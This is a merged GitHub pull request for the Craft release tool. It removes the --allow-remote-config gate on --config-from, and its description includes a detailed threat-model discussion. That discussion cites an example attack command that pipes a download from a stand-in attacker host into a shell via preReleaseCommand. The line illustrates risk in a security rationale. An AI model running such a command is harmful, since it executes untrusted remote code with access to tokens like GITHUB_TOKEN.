Skip to content

fix(prepare): remove --allow-remote-config gate#809

Merged
BYK merged 3 commits intomasterfrom
fix/remove-allow-remote-config-gate
Apr 23, 2026
Merged

fix(prepare): remove --allow-remote-config gate#809
BYK merged 3 commits intomasterfrom
fix/remove-allow-remote-config-gate

Conversation

@BYK
Copy link
Copy Markdown
Member

@BYK BYK commented Apr 23, 2026

Summary

Removes the --allow-remote-config / CRAFT_ALLOW_REMOTE_CONFIG=1 gate added in #794. The gate is broken in the canonical getsentry/craft composite action (see below) and the marginal defence-in-depth it provided does not justify the breakage.

This reverts a security feature shipped in Craft 2.25.5, so the "why" below is deliberately explicit.

The bug users are hitting

action.yml:162-165 constructs:

CRAFT_ARGS=""
if [[ '${{ inputs.craft_config_from_merge_target }}' == 'true' && -n '${{ inputs.merge_target }}' ]]; then
  CRAFT_ARGS="--config-from ${{ inputs.merge_target }}"
fi

It passes --config-from but never passes --allow-remote-config. Every consumer who set craft_config_from_merge_target: true after Craft 2.25.5 has been hitting ConfigurationError with a message telling them to pass a flag they cannot pass. The user complaint that prompted this PR is one such case.

Why total removal rather than a 1-line passthrough in action.yml

The most obvious alternative is to add --allow-remote-config to CRAFT_ARGS in action.yml when craft_config_from_merge_target: true. That was considered and rejected:

  • If the flag is auto-passed whenever the input is set, the flag is tautological: "opt in by setting craft_config_from_merge_target: true" already is the opt-in ceremony. A second opt-in that the composite action always supplies in lockstep is friction with no signal.
  • The flag's only remaining value would be for direct CLI users (craft prepare --config-from … without the action). Those invocations are rare and the ceremony value is marginal; a logger.warn at the execution site (kept in this PR) tells them what's happening without blocking.
  • Keeping the flag alive as a "passthrough only" option creates an ongoing maintenance cost: docs, tests, the yargs option itself, composite-action plumbing. All for near-zero remaining defence-in-depth value.

So the choice is: delete the flag, rely on the logger.warn reminder + release-workflow-author discipline + the env allowlist (which limits but does not eliminate what a malicious preReleaseCommand can exfiltrate).

Honest threat-model discussion

The original gate (#794) rationale was: "remotely-fetched .craft.yml is untrusted input that can execute arbitrary commands via preReleaseCommand." That framing overstates what the gate actually defends:

  • The branch passed to --config-from is, in every realistic caller I have audited, chosen by the release workflow author on a protected branch. For getsentry/craft + getsentry/publish it's the merge_target input sourced from workflow_call / workflow_dispatch (not from PR-controllable state). PR contributors cannot influence it without first landing changes on the protected branch. For third-party consumers the trust boundary depends on their workflow shape — they are responsible for not wiring PR-controllable input to merge_target.
  • The .craft.ymlpreReleaseCommand → RCE vector exists independently of --config-from. Every craft prepare run reads .craft.yml from cwd; if a PR modifies cwd's .craft.yml and lands on the release branch, the malicious command runs regardless of whether --config-from is used.
  • The buildReleaseCommandEnv allowlist (PR fix(security): disable .craft.env reading and harden release subprocess env #794 / security(release-env): allowlist GITHUB_* and RUNNER_* by prefix #807) limits what a malicious preReleaseCommand can exfiltrate (by stripping most secret env vars from the subprocess env); it does not prevent arbitrary command execution itself. A preReleaseCommand: "curl evil.example.com | sh" still runs, still has network, and still has access to whatever is on the allowlist (including GITHUB_TOKEN). The gate was never the thing standing between an attacker and RCE; it just forced them to pick the local-file vector instead of the remote one.

Given both vectors carry identical risk and the remote one was gated but not the local one, the gate added friction without closing the class of risk it claimed to defend.

Change

  • Remove --allow-remote-config option from the yargs builder in src/commands/prepare.ts.
  • Remove allowRemoteConfig from PrepareOptions.
  • Remove the exported assertRemoteConfigAllowed helper.
  • Remove the callsite check in prepareMain. Kept a logger.warn at the execution site reminding the operator that the remote preReleaseCommand will be executed.
  • Remove the 3 unit tests for the deleted helper and their now-unused imports.
  • Update the stale AGENTS.md lore entry (previously claimed the gate as an active security posture) to describe the removal and warn future maintainers not to resurrect it.

Backward-compat notes:

  • Users currently setting CRAFT_ALLOW_REMOTE_CONFIG=1 in their env: the var is silently ignored after this PR (yargs's .env('CRAFT') only binds env vars with matching options). No breakage.
  • Users currently passing --allow-remote-config as a CLI flag: yargs's .strictCommands() (not .strict()) ignores unknown options. No breakage.

Bundled: ci: exclude CHANGELOG.md from prettier

Separate commit in this PR. CHANGELOG.md is auto-generated from PR descriptions by the release tooling; entries like (release-env) Allowlist GITHUB_* and RUNNER_* by prefix contain markdown prettier wants to re-escape (_*\*) every time a release cuts. This has been failing the format-check on every PR against master since the 2.26.0 release entry landed. Adding CHANGELOG.md to .prettierignore lets the release tooling be the sole authority on its contents.

Technically orthogonal to the gate removal but bundled here because (a) without it, this PR's CI fails on a pre-existing master problem, (b) the fix is 6 lines of .prettierignore, (c) splitting would add calendar-time blocking for both PRs. Mentioned explicitly so reviewers aren't surprised by the scope.

Tests

pnpm test src/commands/__tests__/prepare.test.ts → 8 tests pass (was 11; the 3 assertRemoteConfigAllowed tests are deleted along with the helper).

Full suite: 993 pass; same 7 pre-existing e2e failures unrelated to this change.

Lint / build / prettier clean.

PR #794 added `--allow-remote-config` (and `CRAFT_ALLOW_REMOTE_CONFIG=1`)
as a required opt-in for `--config-from <branch>`, reasoning that
remotely-fetched `.craft.yml` is untrusted input which can execute
arbitrary commands via `preReleaseCommand`.

In practice the gate protects against ~0 real attacks and breaks the
one legitimate use case:

- The composite `getsentry/craft` action (`action.yml`) wires
  `--config-from` from its `craft_config_from_merge_target` +
  `merge_target` inputs but never passes the opt-in. Users reporting
  that `craft_config_from_merge_target: true` fails since Craft 2.25.5
  are correct — the action has been broken for every consumer that
  opts in.
- The branch passed to `--config-from` is chosen by the release
  workflow author (in `release.yml` / `action.yml`), who lives on a
  protected branch. A PR contributor cannot influence either the
  workflow inputs or the branch name without first landing changes on
  that protected branch. The realistic attack window is
  "release-workflow author is careless" which a per-flag gate doesn't
  address.
- The broader class of risk — `.craft.yml`'s `preReleaseCommand`
  being attacker-controlled via a PR to the local repo — is already
  present whether or not `--config-from` is used, and is mitigated
  by the env allowlist in `buildReleaseCommandEnv`. The gate added
  friction without adding defence.

Delete the option, the `assertRemoteConfigAllowed` helper, the
three unit tests, and the unused imports. No change to the callsite
except dropping the gate check and downgrading the opt-in warning to
an info log describing the source branch.
CHANGELOG.md is auto-generated from PR descriptions by the release
tooling (see the #793, #807, #805 entries in CHANGELOG.md for
examples where release-note titles contain `_*` sequences that
prettier wants escaped to `\*`). Every time a release cuts new
entries matching those patterns the format-check starts failing on
every open PR against master until someone runs a manual fixup.

Exclude the file from prettier so the release tooling is the sole
authority on its contents.
- AGENTS.md: rewrite the stale `--config-from gated behind
  --allow-remote-config` decision entry to reflect that the gate is
  removed in #809, including the rationale and a warning to future
  maintainers not to resurrect it.
- AGENTS.md: drop the now-stale `complements the --allow-remote-config
  gate` reference in the .craft.yml-discovery entry.
- src/commands/prepare.ts: promote the remote-config load log from
  logger.info to logger.warn. The old gate emitted a loud warning at
  the execution site; removing the hard gate shouldn't also remove
  the user-visible reminder that a remote preReleaseCommand is about
  to run. Warn-level log preserves the observability without blocking.
@BYK BYK merged commit 86fd3da into master Apr 23, 2026
18 checks passed
@BYK BYK deleted the fix/remove-allow-remote-config-gate branch April 23, 2026 11:46
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant